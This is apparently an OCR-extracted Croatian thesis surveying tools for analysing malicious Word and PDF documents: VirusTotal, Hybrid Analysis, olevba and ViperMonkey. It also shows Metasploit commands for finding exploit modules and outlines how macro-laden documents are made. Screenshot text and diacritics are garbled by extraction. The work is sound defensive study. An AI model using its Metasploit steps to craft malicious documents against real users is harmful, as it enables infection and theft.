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1. Uvod

Zlo¢udni softver je bilo koji program ili kod koji je Stetan za sustav. Prije nego §to je
pristup Internetu postao Siroko rasprostranjen, zlo¢udni softveri su se $irili na osobnim
racunalima zarazom izvrS$nih programa ili sektora za pokretanje disketa [1]. U to vrijeme
su se zlonamjerni programi pisali samo za eksperimentiranje [1]. S razvojem racunala,
razvili su se i zlo¢udni softveri te su se promijenili motivi za pisanje takvih softvera. Danas
napadaci koriste zlo¢udne programe za kradu osobnih, financijskih ili poslovnih podataka
poput lozinka, brojeva kreditnih kartica i sli¢éno. Takoder, jedan od razloga za izradu
zlo¢udnih softvera je ostvarivanje zarade. Zarazeno racunalo se moze Koristiti u napadu
uskraéivanjem resursa ili za slanje e-mail spam poruka. Napadaci ponekad kodiraju

datoteke na zarazenom racunalu te onda traze novac za dekodiranje tih datoteka.

S rastom popularnosti Microsoft Windows operacijskog sustava u 1990.-ima te mogucnosti
pisanja makronaredbi u Microsoft programima, postalo je moguce pisati zlo¢udni kod Koji
¢e biti sakriven unutar dokumenata [1]. Budu¢i da su racunalni dokumenti vrlo ¢esto
koriSteni, napada¢i su poceli iskoriStavati Cinjenicu da korisnici prepoznaju i imaju

povjerenje u te tipove datoteka.

Kako bi antivirusni programi uspjesno zastitili korisnike od napada, analiti¢ari moraju
prouciti kako odredeni zlonamjerni softver funkcionira. Pri analizi zlo¢udnih programa
pomazu im alati. Alati omogucavaju pronalazak elemenata koji su omogucili izvodenje
napada. Takoder, alati omogucavaju analizu bez pokretanja ra¢unalnih dokumenata ili se
dokumenti pokrecu u zasebnoj okolini, Sto stiti analitiCare od napada. Bez alata analiza bi
bila puno sporija jer bi analiti¢ari morali ru¢no pretrazivati sve moguce nacine ubacivanja

zlo¢udnosti u dokumente.

Tema ovog rada je pregled alata koji se koriste za analizu zlo¢udnih dokumenata. Cilj
koristenja alata i drugih metoda za analizu je utvrditi pomazu li te metode pri analizi
dokumenata i koliko su uspjesne u pronalasku zlo¢udnosti. U drugom poglavlju objasnjene
su metode za analizu zlo¢udnih dokumenata, a to su alati, statiCka analiza i dinamicka
analiza. Takoder su objasnjeni Kali Linux distribucija koja sadrzi alate za analizu
racunalnih dokumenata i Metasploit okvir s kojim se mogu izraditi zlo¢udni dokumenti.

Trece poglavlje je fokusirano na Microsoft Word dokumente. Opisana je struktura i alati za



analizu Microsoft Word dokumenta. Napravljena je staticka i dinamicka analiza obi¢nih i
zlo¢udnih Word dokumenata. Prikazana je izrada zlo¢udnih Word dokumenta pomocu
Metasploit okvira. U ¢etvrtom poglavlju opisani su PDF dokumenti. Objasnjena je
struktura PDF dokumenta te koji alati se koriste za analizu potencijalno zlo¢udnih PDF
dokumenata. Napravljena je staticka i dinamicka analiza PDF dokumenata te objasnjena

izrada zlo¢udnih PDF dokumenta s Metasploit okvirom.



2. Metode za analizu zloéudnih dokumenata

Zloc¢udni dokumenti sadrze zlonamjerni program koji je sakriven u dokumentu ili skriptu
koja preuzima zlocudni program s vanjske web stranice. Skrivanje zlo¢udnosti unutar
dokumenta nije nova metoda, ali napadaci stalno pronalaze nove metode iskoriStavanja i
skrivanja zlo¢udnosti. Zlonamjerni dokumenti se najcesce Sire pomocu e-mailova te web
stranica. U 2019. godini oko 60% zloc¢udnih e-mail privitaka i 20% zlonamjernih skinutih
datoteka su dokumenti poput PDF, Microsoft Office Word, Excel i PowerPoint [2].
Najcesci tip zlonamjernih dokumenata koji su koristeni u dokumentima su: virus, trojanski
konj, $pijunski program, crv te ucjenjivacki zlo¢udni kod [3]. Virus modificira druge
dokumente na zarazenom racunalu tako da kada se pokrene bilo koji zarazeni dokument,
pokrece se i virus. Trojanski konj je tip zlo¢udnih programa koji izgleda kao legitimni
program, ali zapravo sadrzi zlonamjerni kod. Pri pokretanju takvog programa, racunalo
postaje zarazeno. Spijunski program se koristi za dobivanje pristupa Zrtvinim osobnim
podacima ili intelektualnom vlasnistvu. Crv, kao virus, modificira druge dokumente, ali za
razliku od virusa ne treba korisnika da ga pokrene ve¢ iskoriStava ranjivosti datoteka ili
programa. Ucjenjivacki zlo¢udni kod (engl. ransomware) kodira sve datoteke u sustavu ili

mreZi te zatim zahtjeva otkupninu za dekodiranje datoteka.

Vise od 99% napada u 2018. godini, koji su prosireni pomocu e-mailova, zahtijevalo je
ljudsku interakciju [4]. Primjerice, da osoba klikne na link, otvori dokument, prihvati
sigurnosno upozorenje ili nesto slicno. Kako bi napada¢ nagovorio zrtvu da pokrene
zlo¢udni kod, koriste se metode socijalnog inzenjerstva [5]. Socijalno inzenjerstvo je skup
svih tehnika koje se koriste kako bi ciljana osoba otkrila odredenu informaciju ili napravila
neku specifi¢nu akciju [6]. Metoda zamjene ikone datoteke koristi se kako bi se zavaralo
korisnika da je neka datoteka nezlonamjerna, na primjer direktorij, a zapravo je izvrSna
datoteka. Napada¢ moze nazvati datoteku tako da ime datoteke moze izazvati korisnika da
ju otvori, na primjer Do not open.src. Takoder, iskoriStava se korisnikova znatizelja za
pregled odredenog sadrzaja na Internetu ili na USB stiku. Mogu se iskoristavati i
korisnikovi strahovi, na primjer da je korisnikovo racunalo zarazeno, da su procurili
njegovi osobni podaci ili lozinke i sli¢no. Zadnja metoda iskoristavanja straha je koristena

2020. godine pri Sirenju zlo¢udnih dokumenta preko e-mail poruka [7]. U e-mailu napadaci



se pretvaraju da je Svjetska zdravstvena organizacija pripremila prilozeni dokument Koji
sadrzi sve potrebne mjere opreza protiv infekcije koronavirusom. Prilozeni dokument je

Microsoft Word dokument koji zapravo preuzima trojanskog konja.

Neki popularni napadi su napravljeni pomoc¢u dokumenata i zlo¢udnih programa Emotet,
Trickbot ili Jaff ucjenjivackog zloc¢udnog koda [2]. Iranska hakerska grupa MuddyWater je
takoder koristila dokumente za napade [2].

Emotet i Trickbot su trojanski konji kojima je cilj prona¢i bankarske informacije. Oba
zloéudna programa pripadaju modularnim zlo¢udnim programima [8]. Sire se pomocu e-
mail poruka i iskoristavanja makronaredbi u Microsoft Word dokumentima. Pomocu
makronaredbi skida se teret koji se spaja s udaljenim posluziteljem i Salje mu informacije o
napadnutom racunalu. Posluzitelj odlucuje koji teret ¢e zatim poslati ovisno o tim
informacijama ili uopée ne posalje teret ako otkrije da se radi o okruzenju za analizu

zlo¢udnih programa.

Napad Jaff ucjenjivackim kodom zapocinje kada korisnik primi PDF dokument preko e-
mail usluge. U PDF se moze umetnuti datoteka i tako je u ovom sluc¢aju umetnuta
Microsoft Word datoteka. Pri otvaranju PDF-a od korisnika se trazi dozvola za otvaranje
umetnute datoteke. Ako korisnik dozvoli, umetnuti Microsoft Word dokument se otvori te
se opet trazi dozvola, ali ovaj put za pokretanje makronaredbi. Koristi se socijalno
inzenjerstvo s kojim se zeli zavarati korisnika da je dokument zasticen te omogucavanjem
makronaredbi korisniku ¢e biti omoguéeno pregledavanje sadrzaja dokumenta. Primjer

takve Microsoft Word datoteke je prikazan na slici 2.1.

.l |:| [=] Outline B3 Q 2 New Window EI:I'-J D
@ = Draft E Arrange All
Read = Print  Web Show  Zoom Switch  Macros

Mode Layout Layout T v =3 split Windows = =
WViews Window Macros

I SECURITY WARNING Macros have been disabled. Enable Content

@ This Document is protected!

1 Open the document in Microsoft Office,

Previewing offline is not available for protected
documents.

If this document was downloaded from your
2 email, please click "Enable editing” from the
yellow bar above.

Once you have enabled editing, please click
"Enable content" on the yellow bar above.

Slika 2.1 — Word dokument u Jaff ucjenjivackom kodu [2]



Kako se vidi na slici 2.1, ako korisnik odabere opciju ,,Enable content* tada se omogucuje
pokretanje makronaredbe u dokumentu. Makronaredba preuzima i pokrec¢e zlocudni kod s
udaljenog posluzitelja. Zlo¢udan kod kodira sve datoteke na zarazenom raCunalu i

prikazuje daljnje upute za dekodiranje tih datoteka.

Iranska hakerska grupa MuddyWater je koristila Word dokument za svoje napade [9].
Dokument sadrzi makronaredbe koje umetnuti teret dekodiraju i spremaju u %APPDATA%
direktorij pod imenom CiscoAny.exe. Taj teret se pokrece sljede¢i put kada se korisnik

ulogira.

Skrivanje zlo¢udnih programa unutar dokumenata nije dovoljno kako bi se zavarali
antivirusni programi. Zbog toga napadaci najéeSée koriste obfuskaciju. Obfuskacija je
proces koji ¢ini kod tezim za analizu, ali svejedno se zadrzava funkcionalnost koda.
Pomoc¢u znakovnih nizova lakSe je otkriti funkciju neke varijable, parametra ili funkcije
tako da obfuskacija kodira takve nizove kako bi se otezala analiza koda. Jednostavne
tehnike obfuskacije koje se Cesto koriste su XILI, Base64, ROT13 i metoda visestrukog
kodiranja [10].

2.1. Alati za analizu dokumenata

Prema SANS DFIR-u postoje $est koraka u analizi dokumenata [11]. Prvi korak je trazenje
neobic¢nih ili sumnjivih oznaka, skripti i sli¢no. Sljedeci korak je lociranje umetnutog koda
poput makrokodova u Microsoft Word dokumentima ili JavaScript u PDF dokumentima.
Nakon toga treba izvuéi sumnjivi kod ili objekt iz datoteke. Ako je makrokod ili JavaScript
obfusciran, treba ga deobfuscirati. Postoji li umetnuti shellcode treba napraviti analizu
pomocu strojnog koda i programa za trazenje pogreSaka u kodu. Zadnji korak je
razumijevanje Sto se dogada sljedece u zlo¢udnom kodu. Za izvedbu svih tih koraka
postoje alati. Primjerice, za pretrazivanje makrokoda u Word dokumentu postoji alat

olevba, a za pretrazivanje sumnjivih oznaka u PDF-u Koristi se alat pdfid.

2.2. Staticka analiza

Staticka analiza dokumenta je analiza koja se obavlja bez pokretanja dokumenta te moze
biti osnovna ili napredna. Osnovna staticka analiza ukljucuje skeniranje dokumenta s
antivirusnim programom, izracunavanje sazetka (engl. hashing) i pronalazak koristene

metode pakiranja ili obfuskacije [12]. Prvi korak je skeniranje dokumenta s antivirusnim



programom jer postoji mogucénost da su antivirusni programi ve¢ pronasli takav zlocudan
dokument. Izracunavanje sazetka je tehnika koja se koristi kako bi se identificirala
Zlo¢udna datoteka pomocu jedinstvenog klju¢a [13]. Nakon pronalaska jedinstvenog kljuca
moze se potraziti dokumentacija 0 toj zlo¢udnosti. Zlo¢udni programi su ¢esto pakirani ili
obfuscirani kako bi ih bilo teze analizirati. Obfuskacija pretvara kod u necitljivi kod koji i
dalje obavlja svoju funkciju [14]. Pakiranje je podvrsta obfuskacije gdje se mijenja format
koda sazimanjem ili enkripcijom podataka [14]. Napredna staticka analiza ukljucuje
koriStenje programa za trazenje greSaka U kodu. Pomocu tog programa analizira se

pokretanje zlocudnog koda i koji su znakovni nizovi, biblioteke ili funkcije koristeni[12].

Za skeniranje dokumenta pomocu antivirusnog programa postoje automatski alati pomocu
kojih se dokument skenira s vise antivirusnih programa. Jedan od takvih alata je usluga
VirusTotal koja skenira datoteke s preko 70 antivirusnih programa [15]. VirusTotal
prikazuje koji antivirusni programi su detektirali zlocudnost i u koju vrstu zlo¢udnih
programa pripada. Slika 2.2 prikazuje rezultat analize nakon ucitavanja jednog zlo¢udnog
dokumenta. U Kartici detalji mogu se pregledati opéenite informacije o dokumentu,
povijest dokumenta, ime dokumenta i informacije o dokumentu. Informacije o dokumentu
pokazuju Ceste zlo¢udne znacajke koje su koristene u dokumentu, na primjer umetnuti

JavaScript, sadrzi akciju koja se pokrecée pri otvaranju dokumenta i sli¢no.

3 3 (1) 33 engines detected this file
6e3ebd745bd80b0fd38eT2ed2204bf3310e504d27fc6407a6275c014d9013c5 10.28 KB 2020-04-16 17:04:38 UTC
evil pdf
autoaction cve-2009-0837 exploit js-embedded launch-action pdf
o
DETECTION DETAILS BEHAVIOR COMMUNITY
Ad-Aware (1) Exploit PDF-Dropper. Gen AhnLab-V3 (1) JS/SARS 5136
AlYac (1) Explait PDF-Dropper.Gen Arcabit (1) Exploit PDF-Dropper.Gen
Avast (1) PDF:Runner-B [Tij] AVG (1) PDF:Runner-B [Tij]
Awira (no cloud) (1) EXPICVE-2009-0837 Baidu (D) Multi Threats InArchive
BitDefender (D) Explait PDF-Dropper.Gen Bkav (1) w32 PdfLaunch Trojan
CAT-QuickHeal (1) Exploit PDF Dropper.Gen(2D) ClamAV (1) Pdf Exploit Agent-35813

Slika 2.2 — Rezultati analize zlo¢udnog programa koristenjem VirusTotal usluge



Pri ucitavanju racunalnog dokumenta rezultati, osim sto se dijele s osobom koja je ucitala
dokumentu, dijele se i s VirusTotalovim partnerima koji Kkoriste te rezultate kako bi

poboljsali svoje sustave [15].

2.3. Dinamicka analiza

Dinamicka analiza je analiza racunalnih programa pri kojoj se pokrete program na
stvarnom ili virtualnom rac¢unalu. Preporucuje se koristiti virtualno racunalo jer pokretanje
zlo¢udnog programa moze nastetiti racunalu. Dijeli se na osnovnu i naprednu dinamicku
analizu. Osnovna dinamic¢ka analiza je promatranje ponasanja zlo¢udnog programa, a
napredna ukljuCuje analizu pokrenutih procesa i stvorenih podataka na Windows

operacijskom sustavu [12].

Hybrid Analysis je alat za dinamic¢ku analizu racunalnih dokumenata [16]. Prvo provodi
staticku analizu pomoc¢u alata CrowdStrike Falcon, MetaDefender i VirusTotal, zatim
dinamicku analizu u okolini Falcon Sandbox. Pomocu staticke analize korisnik saznaje
kako bi antivirusni programi oznacili ucitani dokument. Falcon Sandbox je okolina koja
sluzi za pokretanje zlocudnih programa bez nanosenja Stete na vlastito racunalo. Pomocu te
okoline prikazuje se $to se dogada pri pokretanju dokumenta, na primjer stvaranje
dokumenta, novih procesa, pristupanje postavkama i sli¢no. Takoder se mogu pregledati
detalji o datoteci i snimke zaslona Falcon Sandboxa pri pokretanju tog dokumenta.
Sljedec¢i se mogu vidjeti rezultati hibridne analize gdje se analiziraju pokrenuti procesi i
analiza mreze, to jest DNS zahtjeve, kontaktirane hostove i HTTP promet. Prikazuju se i

pronadeni znakovni nizovi, datoteke i obavijesti.

2.4. Kali Linux

Kali Linux je Linux distribucija namijenjena za izvodenje penetracijskih testova [17].
Penetracijski test je autorizirani napad na racunalni sustav kako bi se procijenila sigurnost
raCunalnog sustava [18]. Kali Linux sadrzi alate koji se koriste pri penetracijskim
testovima i poslozeni su po aktivnostima koje korisnik zeli obaviti. Kategorije su:
skupljanje informacija, analiza ranjivosti, analiza web aplikacije, procjena baze podataka,
napad na lozinku, bezi¢ni napad, reverzno inZenjerstvo, alati za metodu iskoristavanja,
podvala, alati koriSteni poslije iskoriStavanja, forenzika, alati za izvjeStavanje, alati za

socijalno inzenjerstvo, sistemske usluge [17]. Na slici 2.3 moze se vidjeti pocetni zaslon i



izbornik tih alata. Neki od alata za analizu zlo¢udnih dokumenata u Kali Linuxu su: pdf-
parser, pdfid i peepdf [19].

Favorites backdoor-f...

01 - Information Gathering

bdfproxy
02 - Vulnerability Analysis
03 - Web Application Analysis -::' intersect

04 - Database Assessment
mimikatz

05 - Password Attacks
sh:

06 - Wireless Attacks itk

07 - Reverse Engineering powersploit

08 - Exploitation Tools

k;g proxychains

09 - Sniffing & Spoofing

10 - Post Exploitation ¢ weevely
* OS Backdoors

* Tunneling & Exfiltration

* Web Backdoors

11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools

14 - System Services

Usual applications

Activities Overview

Slika 2.3 — Pocetni izbornik Kali Linux distribucije [17]

Kali Linux nije samo kolekcija razli¢itih instaliranih alata, ve¢ ima i mnoge znacajke koje
pomazu pri izvodenju penetracijskih testova. Moze se Koristiti na razli¢itim tipovima
racunala, na primjer laptopima, posluziteljima, ugradenim uredajima koji se mogu

prikljuciti u mrezu ciljanih korisnika [17].

Digitalna forenzika je primjena razli¢itih metoda za skupljanje i ocuvanje dokaza s
odredenog racunalnog sustava kako bi se moglo kasnije iskoristiti na sudskim postupcima
[20]. Pri izvodenju digitalne forenzike zeli se izbje¢i bilo kakva aktivnost koja bi
promijenila podatke na racunalu i zbog toga Kali Linux ima forenzicki nacin izvodenja u
kojoj se ne montiraju automatski otkriveni diskovi [17]. Onemogucene su mrezne usluge,
poput HTTP i SSH, kako bi bilo teze otkriti korisnika pri penetracijskom testiranju [17].
Linux distribucije uobicajeno trebaju klju¢nu rije¢ sudo prije naredbe za izvodenje te
naredbe s administrativnim dozvolama. U Kali Linuxu postoji samo jedan korisnik i on je
zadan kao administrator te nema potrebe za koristenjem klju¢ne rije¢i sudo [17]. Kali
Linux podupire bezi¢no ubacivanje mreznih paketa, a to je postupak ometanja
uspostavljene mrezne veze pomocu konstrukcije paketa koji izgledaju kao da su dio

normalnog komunikacijskog toka [21].



2.5. Metasploit okvir

Metasploit okvir je alat koji omoguéuje razvoj i pokretanje metode iskoristavanja, a koriste
ga i napadaci i eticki hakeri. Uobicajeni proces Koristenja Metasploita je: odabir i
konfiguracija metode iskoristavanja, odabir i konfiguracija tereta, odabir metode kodiranja
i pokretanje metode iskoriStavanja [22]. Modularni pristup odabira metode iskoriStavanja i
tereta je velika prednost okvira jer omogucuje kombiniranje bilo koje metode
iskoristavanja s bilo kojim teretom. Metasploit okvir se pokre¢e s naredbom msfconsole.

Slika 2.4 prikazuje pocetni ispis Metasploita.

iva@iva:~$ msfconsole

MMMMM MMMMM
MMMMMMMN NMMMMMMM
MMMMMMMMMNPMMNMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMM MMMMMMM MMMMM
MMMMM MMMMMMM MMMMM
MMMNM MMMMMMM MMMMM
WMMMM MMMMMMM MMMM#
?MMNM MMMMM
T MMM MMMM ™
MM MM?

https://metasploit.com

me V-
2017 exploits - 1098 auxiliary - 343 post
562 payloads - 45 encoders - 18 nops

7 evasion

[ Lo Lo T

Metasploit tip: Adapter names can be used for IP params

Slika 2.4 — pocetni ispis Metasploit okvira

Nakon toga korisnik moze s naredbom search potraziti metodu iskoristavanja [23]. Na slici

2.5 je ispis za pretragu metode iskoristavanja koje u imenu imaju znakovni niz Microsoft.

sf5 > search name:Microsoft type:exploit

Matching Modules

Disclosure Date Rank k Description

5] exploit/multi/fileformat/office_word_macro 2012-01- N Microsoft Office Word Malicious Macro E
ecution

1 exploit/windows/brightstor/sql_agent 2005-08- average N CA BrightStor Agent for Microsoft SQL 0
erflow

2 exploit/windows/browser/ie_cbutton_uaf 2012-12- normal N M513-008 Microsoft Internet Explorer CB
tton Object Use-After-Free Vulnerability

3 exploit/windows/browser/ie_cgenericelement_uaf 2013-05- good N MS13-838 Microsoft Internet Explorer CG

nericElement Object Use-After-Free Vulnerability

4 exploit/windows/browser/ie_createobject 2006-04- N MS06-014 Microsoft Internet Explorer CO
M CreateObject Code Execution

5 exploit/windows/browser/ie_execcommand_uaf 2012-09-14 good N MS12-063 Microsoft Internet Explorer ex
cCommand Use-After-Free Vulnerability

[ exploit/windows/browser/ie_iscomponentinstalled 2006-02-24 normal N Microsoft Internet Explorer isComponent
Installed Overflow

Slika 2.5 — primjer ispisa search naredbe



Postavljanje metode iskoristavanja se izvodi s naredbom use, a postavljanje tereta s
naredbom use PAYLOAD [23]. Pomoc¢u naredbe show options korisnik moze saznati §to se

sve u nekom trenutku moze postaviti, poput IP adrese ili vrata ciljanog racunala [23].
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3. Microsoft Word dokumenti

Microsoft Word je urediva¢ teksta koji je napravio Microsoft. Microsoft Word je dio
usluge Office 365 koja uklju¢uje mnoge druge programe poput Microsoft Excel, Microsoft
PowerPoint i tako dalje. U svijetu 65% uredskog softvera ¢ini Office 365 paket [24].
Office 365 je postao popularan, a s tim i Microsoft Word, jer je povecao produktivnost
radnika [24]. lako postoje programi koji su jeftiniji, nijedan program nema toliko
funkcionalnosti kao Microsoft Word.

Do 2003. godine Microsoft Word dokument se spremao u .doc formatu, a od te godine u
.docx formatu. DOCX datoteka je ZIP arhiva koja sadrzi XML i druge datoteke [25].

Sadrzaj prazne Microsoft Word datoteke je prikazan na slici 3.1.

: toptal-docx
= idea
floating
minimal
paragraph
_rels
- |L‘{5
docProps
= app.xmi
= core . xml
word
rels
theme
» document.xm|
= fontTable.xml|
= settings.xmi
» styles.onl
» stylesWithEffects.xml
= webSettings.aml
= [Content_Types ] anl
floating.docx
minimal.docx
paragraph.docx
tost.(
= test. xmi
B External Ubranes

Slika 3.1 — sadrzaj Word dokumenta [25]

Datoteka document.xml sadrzi glavne tekstualne elemente u dokumentu [25].

Pojednostavljeni sadrzaj datoteke document.xml prikazan je naslici 3.2.
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<w:document>

<w:body>

<w:p w:rsidR="005FA70F" w:rsidRDefault="00OLF79F5">
cworr<w-trTestg/wite</w-T>

<fw:p>

<w:sectPr w:rsidR="005F&70F">
<w:pgSz w:iw="12240" w:h="15840"/>
<w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440"

w:header="720" w:footer="720"

w:gutter="0"/>

Fapn

<w:cols w:space="720"/>

<w:docGrid w:linePitch="360"/>

</w:sectPr>
</w:body>
</w:document>

Slika 3.2 — pojednostavljeni sadrzaj datoteke document.xml [25]

Oznaka <w:document> predstavlja dokument i moze sadrzavati elemente koji oznacavaju
pozadinu i tijelo dokumenta [26]. Oznaka <w:body> predstavlja sadrZaj tijela dokumenta i
sadrzi paragrafe, odjeljke ili tablice [26]. Paragraf je glavna jedinica za spremanje sadrzaja
dokumenta i sadrzi tekst, hiperveze, komentare i tako dalje [26]. Oznaka paragrafa je
<w:p>. U DOCX dokumentu ne definiraju se stranice, ve¢ samo paragrafi, ali potrebno je
spremati informacije o izgledu stranice i za to se koriste odjeljci. Odjeljak ima oznaku
<w:sectPr> i tamo se spremaju podaci o dimenziji stranice, broj stranice, zaglavlju,

podnozju i sli¢no [26].

Datoteka .rels, koja je takoder u XML formatu, sadrzi referencu na sadrzaj dokumenta
[25]. Primjerice, u ovom slucaju referenca ¢e biti na document.xml datoteku. Takoder
sprema reference na datoteke app.xml i core.xml. Sadrzaj ovakve .rels datoteke je prikazan

na slici 3.3.

=?xml version="1.0" encoding="UTF-8" standalone="true"?>
<Relationships xmins="http:/ fschemas.openxmlformats.org/package/2006/relationships">
<Relationship Target="docProps/app.xml"
Type="http:/fschemas.openxmlformats.org/officeDocument/2006/relationships/extended-
properties” Id="rId3"/>
<Relationship Target="docProps/fcore.xml"
Type="http://schemas.openxmlformats.org/package/2006 frelationships/metadata/core-
properties” Id="rId2"/>
<Relationship Target="word/document.xml"
Type="http://schemas.openxmlformats.org/officeDocument/ 2006/ relationships/officeDocument”
Id="rId1"/>
=/Relationships=>

Slika 3.3 — sadrzaj datoteke .rels

U direktoriju docProps nalaze se meta podaci o dokumentu i sadrzi dvije datoteke core.xml
i app.xml. Datoteka core.xml sadrzi ime autora, vrijeme nastanka, vrijeme zadnje izmjene i

tako dalje. U datoteci app.xml je upisano broj stranica, rije¢i, znakova, aplikacija koja
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pokre¢e dokument, broj paragrafa i slicno. U direktoriju _rels nalazi se dokument
document.xml.rels koji sadrzi reference na resurse umetnute u dokument poput slika [25].
Datoteka [Content_Types].xml sadrzi informacije o vrstama sadrzaja unutar dokumenta
[25].

U verzijama Microsoft Worda od 1997. do 2003. godine Word dokumenti su bili OLE
datoteke [27]. Takve datoteke sadrzavaju skladista i tokove. Skladiste je direktorij kojeg
¢ine tokovi ili druga skladista. Tokovi sluze za tok podataka dokumenta, na primjer glavni

tok Microsoft Word dokumenta je WordDocument koji sadrzi tekst dokumenta [27].

Makronaredbe u Microsoft Wordu se koriste za automatiziranje zadataka i povecanje
produktivnosti. Napisane su u Visual Basic for Application (VBA) programskom jeziku.
Medutim, Cesto se koriste za preuzimanje i pokretanje zlocudnog koda. U novijim
verzijama Microsoft Worda makronaredbe se ne pokre¢u automatski, ali pomocéu

socijalnog inzenjerstva napadaci uspiju nagovoriti korisnike da omoguc¢e makronaredbe.

3.1. Alati

Alat za pronalazak VBA makronaredbi je olevba [28]. Olevba je dio Oletools paketa.
Oletools je paket python alata za analizu Microsoft Office dokumenata [29]. Dijeli se na
alate za analizu zlo¢udnih dokumenata i analizu strukture dokumenata. Mnogi projekti
koriste Oletools paket, a to su na primjer ViperMonkey, Hybrid Analysis i vjerojatno
VirusTotal [29].

Olevba pronalazi VBA makronaredbe, izvlaci kod u obi¢nom tekstu i otkriva obrasce koji
se odnose na sigurnost poput makronaredbi koje se automatski izvrSavaju, sumnjivih VBA
kljuénih rije¢i i sliéno. Nakon pokretanja olevba provjerava tip dokumenta, ako je
dokument formata .doc odmah krece na sljedeéi korak, a inace pretrazuje zip arhivu da bi
pronasao OLE datoteke unutar arhive. Unutar OLE datoteka pronalazi sve VBA projekte i
parsira ih kako bi pronasao odgovaraju¢i OLE tok koji sadrzi makrokod. VBA makrokod
se izvlaci i1 dekompresira. Olevba trazi znakovne nizove obfuscirane s razli¢itim
algoritmima i na kraju prolazi cijeli makrokod i deobfuscirane znakovne nizove kako bi
pronasao sumnjive kljuc¢ne rije¢i, automatsko izvrsavanje i pokazatelje kompromisa (engl.
indicator of compromise) [28]. Pokazatelj kompromisa je dokaz koji ukazuje na krSenje

sigurnosti, primjerice URL-ovi, IP adrese i e-mail adrese [57].

Alat se pokrec¢e u terminalu naredbom:
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olevba ime datoteke

Sljede¢i primjer je dokument napravljen pomocéu Metasploit okvira. lzrada takvog
dokumenta opisana je u poglavlju 3.5. Makrokod koji se nalazi u tom dokumentu dohvaca
zlo¢udni kod iz svojstva dokumenta, stvara novu datoteku gdje sprema taj kod i pokrece
kod.

Nakon pokretanja olevba alata, ispisuje se VBA makrokod pronaden u dokumentu i

sumnjivi elementi unutar makrokoda. Slika 3.4 prikazuje ispisane sumnjive elemente.

AutoExec A nen d n th C nt i d
i ombined with Open)

Shell May ru . system
WScript.Shell

cutable file or a

ell commands
n OLE obj

Slika 3.4 — dio ispisa olevba alata

Olevba je otkrio automatsko pokretanje makronaredbi pri otvaranju dokumenta, stvaranje i
pisanje u tekstualni dokument, pokretanje izvrsne datoteke ili sistemske naredbe,
pokretanje PowerShell naredbi, stvaranje OLE objekta, pokretanje koda iz biblioteka i

koriStenje obfuskacije.

Koristenje olevba alata je korisno jer se moze pregledati makrokod bez otvaranja
dokumenta i ru¢nog trazenja makronaredbi. Takoder, ispis sumnjivih elemenata pomaze
pri analizi jer se ispisuje $to klju¢ne rije¢i znace i jesu li sigurnosna prijetnja. Ipak
pronadene inverzije kontrole s URL-om su dio komentara te nisu sigurnosna prijetnja te bi

korisnika mogle zbuniti pri analizi.

14



Sljedeci alat za analizu nepoznatih dokumenata je ViperMonkey. ViperMonkey je alat za
analizu i deobfuskaciju VBA makronaredbi [30]. Nakon sto Kkorisnik pokrene
ViperMonkey, ViperMonkey pomocu olevba alata pronalazi VBA makrokod. Makrokod se
parsira koriste¢ci VBA gramatiku i pretvara ga u Python objekt. VBA gramatika je skup
pravila pomocu kojih se linije u VBA kodu interpretiraju u strojni kod. VBA emulator
emulira pokretanje koda, a zanimljive akcije, poput pokretanje koda, stvaranja datoteka i

sli¢no, se zapisuju [31].
Analiza pomocu alata se pokrece s naredbom u terminalu:

vmonkey ime datoteke

Primjer koristenja ViperMonkey je opisan pomoc¢u koda u dodatku 2. U prvom dijelu ispisa
prikazuje se VBA makrokod, onda se ispisuju pronadene funkcije i koliko linija imaju.
Nakon toga ViperMonkey pomo¢u VBA emulatora pokre¢e makrokod pocevsi od ulazne
tocke, na primjer Auto_Open. Pri pokretanju poziva funkcije unutar makrokoda dok ne
otkrije deobfuscirani znakovni niz. Slika 3.5 prikazuje kako je ViperMonkey dosao do

znakovnog niza ,,Malware!“.

Slika 3.5 — prikaz ViperMonkey dekodiranja znakovnih nizova

Nakon toga ispisuje analizu makrokoda ili pronadene ulazne tocke, prikazivanje poruke i
naredbu za pokretanje, a ispod te tablice su ugradene VBA funkcije koje su pozvane u

makrokodu. Tablica za ovaj dokument se moze vidjeti na slici 3.6.
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VBA Builtins Called:

iption

Slika 3.6 — ispis analize makrokoda ViperMonkey alata

ViperMonkey je uspjesno deobfuscirao obfuscirani VBA makrokod zbog koristenja VBA

masine koja zapisuje stvarnu vrijednost nekog znakovnog niza. Ispis deobfusciranih

znakovnih nizova pomaze pri analizi dokumenta, ali bilo bi jo§ lakSe da se na kraju ispisuje

makrokod s deobfusciranim znakovnim nizovima. Ovako korisnik mora ru¢no sloZiti

deobfuscirane znakovne nizove s makrokodom i prepoznati koje funkcije su dio

obfuskacije, a koje izvrSavaju nesto drugo.

3.2. Staticka analiza

Staticka analiza Word dokumenata je napravljena pomoc¢u web stranice VirusTotal.

Na slici 3.7 prikazan je rezultat analize dokumenta s makrokodom iz dodatka 1. Taj

makrokod nije zlocudan, ali neki antivirusni programi su ga svejedno oznacili kao

zlo¢udnog.
-
2 (1) 2 engines detected this file
8cld4faabel34bc9d95b3551aa9701b2283d6e5ad20401e0ebd08f5175a89¢c1b
Macro.docm
docx enum-windows exe-pattemn Macros run-file
DETECTION DETAILS RELATIONS COMMUNITY
NANO-Antivirus (D Trojan.Ole2 Vbs-heuristic druvz

Zoner

Slika 3.7 — VirusTotal analiza za prvi dokument

15.56 KB

2020-04-09 15:45:38 UTC

Na slici 3.8 se moze vidjeti rezultat analize dokumenta s makrokodom iz dodatka 2. Taj

makrokod je jednak makrokodu iz dodatka 1, ali je obfusciran. Znaci takoder nije

zlo¢udan, ali zbog obfuskacije vise antivirusnih programa ga je oznacilo kao zlo¢udnog.
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\

8 (1) 8engines detected this file
9bdB489clablel1ababd1ec310204d1928890d7bcb622613710b1f09e716535eh 16.41KB 2020-04-08 16:17:39 UTC
Macro obfuskacija.docm
docx macros obfuscated run-file
DETECTION DETAILS RELATIONS COMMUNITY
Arcabit (1) HEURVBA Trojan e Endgame (1) Malicious (high Confidence}
NANO-Antivirus (D) Trojan.Ole2 Vbs-heuristic.druvzi SentinelOne (Static ML) (1) DFI - Malicious OPENXML
Tencent (1) Heur Macro Genaric f b0f7992¢ TrendMicro (1) HEUR_VBA O ELBP
ZoneAlarm by Check Peint (1) HEUR Trojan-Downloadsr. Script. Generic Zoner (1) Probably Heur W37Obfuscated

